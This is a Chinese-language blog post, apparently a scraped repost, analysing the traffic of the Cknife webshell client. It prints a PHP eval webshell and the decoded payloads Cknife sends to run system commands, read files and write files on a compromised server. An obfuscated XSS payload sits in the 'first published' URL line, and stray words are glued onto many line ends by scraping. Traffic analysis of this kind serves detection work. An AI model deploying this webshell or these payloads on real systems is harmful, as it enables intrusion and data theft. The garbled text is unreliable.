Cknife流量分析

本文首發:https://<img src=1 onerror=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemophp

0x01 環境

<?php eval($_REQUEST['shell'] ?>

0x02 命令執行

執行命令結果以下圖所示shell

1549864408222

POST的數據以下圖所示this

1549864204478

對POST的數據解碼編碼

#shell
@eval(base64_decode($_POST[action]));

#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die();

#z1
cmd

#z2
cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]

z2whoami通過cknife的組合再通過base64編碼後的結果,cknife經過eval執行action中的代碼,把POST的z1z2base64_decode解碼,再把z1z2組合成$r,最後用system執行$r,打印執行結果。url

返回結果以下圖所示3d

1549865961339

通過cknife的格式處理,返回的結果變成了上圖的樣子,->||<-中間的內容就是執行命令的結果code

0x03 文件下載

POST的數據以下圖所示blog

1549866499136

對POST的數據解碼ip

#shell
@eval(base64_decode($_POST[action]));

#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
    @fclose($fp);
    @readfile($F);
}else
{
    echo("ERROR:// Can Not Read");
};
echo("|<-");
die();

#z1
C:\wamp64\www\index.php

z1是目標文件路徑通過base64編碼後的結果,cknife經過eval執行action中的代碼,用base64_decode獲取文件的路徑,而後判斷文件是否可以被讀取,若是可以被讀取,則用readfile()輸出文件的內容,最後將輸出的文件內容寫入到本地文件中。get

返回結果以下圖所示

1549867166066

有一點須要注意,cknife可能會將返回的全部內容輸出到文件中,因此須要手動取出->||<-之間的內容,不然文件可能格式錯誤

0x04 文件上傳

POST的數據以下圖所示

1549867720428

對POST的數據解碼

#shell
@eval(base64_decode($_POST[action]));

#action
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();

#z1
C:\wamp64\www\test.txt

#z2
this is a test

z1是目標文件路徑通過base64編碼後的結果,z2是本地文件的內容通過hex編碼後的結果,cknife經過eval執行action中的代碼,用base64_decode先獲取目標文件的路徑,而後獲取z2的內容,使用for循環將原來的hex編碼轉換爲URL編碼,再用urldecode進行解碼,追加給$buffor循環結束後$buf就是文件的內容,最後寫入目標文件中,寫入成功返回1,寫入失敗返回0

返回結果以下圖所示

1549868914718

若是->||<-之間的內容爲1,則表明文件上傳成功

相關文章
相關標籤/搜索